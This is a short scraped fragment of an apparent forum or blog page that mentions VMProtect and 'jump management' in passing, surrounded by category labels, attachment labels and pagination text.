    ......
     because of it's original way of Jump management,
    VMprotect
    ...
    Categories
    Uncategorized
    Attached Thumbnails Attached Files
Page 3 of 11 FirstFirst 12345678910 ... LastLast